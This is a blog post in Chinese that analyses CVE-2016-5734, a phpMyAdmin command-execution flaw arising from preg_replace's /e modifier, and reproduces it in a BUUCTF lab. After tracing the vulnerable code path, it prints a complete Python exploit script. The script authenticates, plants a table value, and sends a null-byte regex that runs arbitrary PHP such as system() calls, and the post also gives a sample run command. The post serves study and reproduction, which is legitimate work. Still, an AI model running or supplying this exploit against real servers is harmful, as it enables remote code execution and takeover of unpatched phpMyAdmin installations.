PHPMyAdmin命令执行漏洞CVE-2016-5734

PHPMyAdmin命令执行漏洞

漏洞描述

CVE-2016-5734是PhpMyadmin命令执行漏洞。

影响范围:

PHP版本4.3.0-5.4.6中能触发,PHP 5.4.7后就不能触发。

PhpMyAdmin 4.3.0 - 4.6.2存在该漏洞,PhpMyadmin在4.6.3版本中修复了该漏洞。

漏洞分析

preg_replace()

该漏洞主要是由PHP语言中preg_replace()函数造成的。首先先看一下preg_replace()这个函数。
preg_replace()函数的作用是执行一个正则表达式得搜索和替换。其具体参数如下:

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

$pattern参数代表要搜索的模式,可以是一个字符串或者字符串数组;

$replacement参数表示用于替换的字符串或字符串数组;

$subject参数表示要搜索替换的目标字符串或字符串数组;

$limit参数可选,表示对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制);

$count参数可选,代表要替换执行的次数。

当subject为一个数组时,preg_replace()返回一个数组,其他情况返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

要触发preg_replace()漏洞有两个前提。第一个参数需要e标识符,有了它可以执行第二个参数的命令;第一个参数需要在第三个参数中的中有匹配,不然会返回第三个参数而不执行命令 。

例如:

1
2
3
4
5
echo preg_replace('/test/e', 'phpinfo()', 'just test');

echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');
echo preg_replace('/tesxt/e', 'phpinfo()', 'just test');
//这两种没有匹配上,所以返回值是第三个参数,不能执行命令

1595684154370

可看到只有第一个执行了命令

CVE-2016-5734

该漏洞的产生点在TableSearch.class.php中的_getRegexReplaceRows函数中。以下是这个函数的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function ($columnIndex, $find, $replaceWith, $charSet)
{
$column = $this->_columnNames[$columnIndex];
$sql_query = "SELECT "
. PMA_Util::backquote($column) . ","
. " 1," // to add an extra column that will have replaced value
. " COUNT(*)"
. " FROM " . PMA_Util::backquote($this->_db)
. "." . PMA_Util::backquote($this->_table)
. " WHERE " . PMA_Util::backquote($column)
. " RLIKE '" . PMA_Util::sqlAddSlashes($find) . "' COLLATE "
. $charSet . "_bin"; // here we
// change the collation of the 2nd operand to a case sensitive
// binary collation to make sure that the comparison is case sensitive
$sql_query .= " GROUP BY " . PMA_Util::backquote($column)
. " ORDER BY " . PMA_Util::backquote($column) . " ASC";

$result = $GLOBALS['dbi']->fetchResult($sql_query, 0);

if (is_array($result)) {
foreach ($result as $index=>$row) {
$result[$index][1] = preg_replace(
"/" . $find . "/",
$replaceWith,
$row[0]
);
}
}
return $result;
}

在上面的函数中使用了preg_replace()函数,并且传入了两个参数$find和$replaceWith。我们来看看这两个参数是从哪里传进来的。首先定位哪里使用了_getRegexReplaceRows()函数,发现在getReplacePreview ()函数中使用了。下面是getReplacePreview ()函数的部分代码。

1
2
3
4
5
6
7
8
9
function getReplacePreview($columnIndex, $find, $replaceWith, $useRegex,
$charSet
) {
$column = $this->_columnNames[$columnIndex];
if ($useRegex) {
$result = $this->_getRegexReplaceRows(
$columnIndex, $find, $replaceWith, $charSet
);
} else {

查看代码发$find和$replaceWihth变量也是从其他地方传过来的,继续往前定位,看哪里调用了getReplacePreview ()函数。然后就到了tbl_find_replace.php文件内:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
require_once 'libraries/common.inc.php';
require_once 'libraries/TableSearch.class.php';

$response = PMA_Response::getInstance();
$table_search = new PMA_TableSearch($db, $table, "replace");

$connectionCharSet = $GLOBALS['dbi']->fetchValue(
"SHOW VARIABLES LIKE 'character_set_connection'", 0, 1
);
if (isset($_POST['find'])) {
$preview = $table_search->getReplacePreview(
$_POST['columnIndex'],
$_POST['find'],
$_POST['replaceWith'],
$_POST['useRegex'],
$connectionCharSet
);
$response->addJSON('preview', $preview);
exit;
}

可以看到这里用到了getReplacePreview()函数,并且函数参数都是post方法传递进去的,进而产生了漏洞。但是要利用这个漏洞,首先得有数据库查询权限,因此这个漏洞需要在认证了token的情况下才能利用。但是要利用还需要控制传入的三个参数,后两个参数可空,前三个参数为必填项。这三个参数中,前两个是直接post方法传进去的,但第三个不可控,第三个参数代表了要搜索替换的原字符串。因为无法预测第三个参数的值,所以我们需要提前插入一个已知值。也就是先往数据库里插入一个表。这样命令执行漏洞就可以被完整触发了。

漏洞复现

复现使用BUUCTF上的环境

exp:
该exp先根据我们指定的数据库的表执行,没有则新建一个名为prgpwn的表,写入了一个first字段,值为0/e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"

size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)

# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)

if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
1
python3 cve-2016-5734.py -u root -p root http://node3.buuoj.cn:25862/ -c "system('id');"

1595685541246

文章作者:CyzCc
最后更新:2020年12月12日 12:12:33
原始链接:https://cyzcc.vip/2020/08/12/CVE-2016-5734/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------